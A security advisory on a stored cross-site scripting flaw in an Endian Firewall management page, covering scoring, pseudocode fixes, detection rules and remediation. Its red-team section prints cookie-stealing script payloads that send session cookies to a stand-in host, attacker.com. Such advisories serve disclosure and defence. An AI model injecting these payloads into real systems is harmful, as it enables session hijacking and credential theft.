CVE-2026-34818

Executive Summary

CVE-2026-34818 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /manage/dnsmasq/localdomains/ endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page, leading to session hijacking, credential theft, or further compromise within the firewall management interface.

This vulnerability is classified as a Stored XSS (CWE-79) and requires authentication to exploit. The CVSS v3.1 base score is 4.8 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The attack complexity is low, but user interaction is required for the victim to view the malicious page.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the Endian Firewall product. No supply chain component is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have valid credentials.
• User Interaction (UI): Required (R) – The victim must view the malicious page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but once inside, the attacker can execute arbitrary JavaScript in the context of other users' sessions.

Deep Dive & Mechanics

The vulnerability exists in the /manage/dnsmasq/localdomains/ endpoint of Endian Firewall. The remark parameter is used to store user-provided text for local DNS domain entries. The application fails to sanitize or encode this input before storing it in the database and later rendering it in the web interface.

Attack Flow:

1. An authenticated attacker navigates to /manage/dnsmasq/localdomains/.
2. The attacker submits a new local domain entry with a malicious payload in the remark field, e.g., <script>alert('XSS')</script>.
3. The server stores the payload without sanitization.
4. When another authenticated user (e.g., an admin) views the list of local domains, the stored payload is executed in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the interface.

Root Cause: Lack of output encoding and input validation on the remark parameter. The application likely uses a templating engine that does not auto-escape HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# Example Python-like pseudocode
def add_local_domain(request):
    domain = request.POST.get('domain')
    remark = request.POST.get('remark')
    # No sanitization
    db.execute("INSERT INTO local_domains (domain, remark) VALUES (?, ?)", (domain, remark))
    return redirect('/manage/dnsmasq/localdomains/')

def view_local_domains(request):
    rows = db.execute("SELECT domain, remark FROM local_domains")
    # Directly rendering remark without escaping
    return render_template('local_domains.html', rows=rows)

Patched Code (Hypothetical fix):

import html

def add_local_domain(request):
    domain = request.POST.get('domain')
    remark = request.POST.get('remark')
    # Sanitize input
    remark = html.escape(remark)
    db.execute("INSERT INTO local_domains (domain, remark) VALUES (?, ?)", (domain, remark))
    return redirect('/manage/dnsmasq/localdomains/')

def view_local_domains(request):
    rows = db.execute("SELECT domain, remark FROM local_domains")
    # Output encoding already applied at storage, but also ensure template escapes
    return render_template('local_domains.html', rows=rows)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for an Endian Firewall user.
• Network access to the management interface.

Exploit Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to /manage/dnsmasq/localdomains/.
3. Add a new local domain entry. In the remark field, inject a payload such as:

   <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>
   

4. Submit the form.
5. Wait for an admin or other user to view the local domains list. The payload will execute, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

• Monitor HTTP requests to /manage/dnsmasq/localdomains/ for unusual remark parameters containing <script> tags or other HTML/JavaScript.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Review server logs for POST requests to the vulnerable endpoint with suspicious payloads.

Hunting:

• Search for stored XSS indicators in the database: SELECT remark FROM local_domains WHERE remark LIKE '%<script%'.
• Check for outbound connections from the firewall to unknown IPs (potential cookie exfiltration).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /manage/dnsmasq/localdomains/ with remark containing <script> tags.
  • Outbound HTTP requests to attacker-controlled servers from the firewall management interface.
• File System:
  • Log entries in /var/log/lighttpd/error.log or similar showing unusual POST data.
• Database:
  • Rows in the local_domains table with remark fields containing HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2026_34818_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall local domain remarks"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34818"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Endian Firewall Local Domains
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-34818 by injecting XSS payloads into the remark parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/manage/dnsmasq/localdomains/'
        cs-uri-query|contains: 'remark='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34818 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/manage/dnsmasq/localdomains/"; http_uri; content:"remark="; http_client_body; pcre:"/<script|onerror=|onload=|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to a patched version of Endian Firewall if available (check vendor updates).
2. Restrict access to the management interface using firewall rules (allow only trusted IPs).
3. Implement input validation and output encoding for all user-supplied data, especially the remark parameter.
4. Use a WAF to block XSS payloads.

Long-term Fixes:

• Apply proper HTML entity encoding (e.g., html.escape() in Python) before storing or displaying user input.
• Use a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct regular security audits and penetration testing.

Workaround:

• Disable the local domains feature if not needed, or restrict write access to trusted administrators only.

Valters IT

{/* [Security Hash: A20CD25DAE3F8910808FBF88] */}